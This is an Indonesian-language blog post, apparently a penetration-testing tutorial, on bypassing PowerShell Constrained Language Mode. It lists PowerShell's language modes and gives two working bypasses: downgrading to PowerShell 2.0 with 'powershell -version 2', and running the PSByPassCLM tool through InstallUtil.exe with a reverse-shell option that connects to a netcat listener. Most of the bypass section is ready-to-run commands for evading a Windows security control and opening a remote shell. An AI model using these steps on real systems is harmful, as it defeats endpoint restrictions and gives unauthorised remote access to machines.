Post

Powershell Constrained Language Mode Bypass

PowerShell memiliki beberapa opsi language. Language mode ini memungkinkan user untuk beralih ke di antara sintak yang diizinkan dan tidak. Berikut adalah beberapa mode yang ada:

  • FullLanguage (default)
  • RestrictedLanguage
  • NoLanguage
  • ConstrainedLanguage

Kali ini kita akan fokus terhadap ConstrainedLanguage. Tidak seperti FullLanguage yang mengizinkan semua syntax dan cmdlet saat runtime, ConstrainedLanguage memiliki beberapa batasan.

Berikut adalah perintah untuk memeriksa language mode apa yang sedang digunakan:

1
2
PS > $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Jika ConstrainedLanguage aktif, kita tidak bisa mendownload melalui PowerShell.

ConstrainedLanguage Aktif

Bypass ConstrainedLanguage

Ada beberapa cara untuk membypass ConstrainedLanguage, diantaranya:

Cara 1: PowerShell Downgrade

ConstrainedLanguage dirilis pada PowerShell 3.0. Jika kita dapat melakukan downgrade ke PowerShell 2.0, kita dapat mem-bypass ConstrainedLanguage.

1
2
3
4
5
6
7
8
9
10
# saat ini masih menggunakan ConstrainedLanguage
PS > $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

# downgrade ke powershell versi 2
PS > powershell -version 2

# cek language mode saat ini
PS > $ExecutionContext.SessionState.LanguageMode
FullLanguage

PowerShell Downgrade

Cara 2: PSByPassCLM

PSByPassCLM adalah salah satu yang terbaik untuk mem-bypass CLM.

1
2
3
# tahap 1: compile dan upload PsBypassCLM.exe sesuai arsitektur target
# tahap 2: siapkan listener reverse shell pada target
➜ nc -lvnp 443
1
2
# tahap 3: Jalankan PSByPassCLM
PS> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=<listenerIP> /rport=<listenerPort> /U <Path to PsBypassCLM.exe>

PSByPassCLM


Referensi

  • https://teamt5.org/en/posts/a-deep-dive-into-powershell-s-constrained-language-mode/
  • https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html#clm–applocker-break-out https://sp00ks-git.github.io/posts/CLM-Bypass/
  • https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass
This post is licensed under CC BY 4.0 by the author.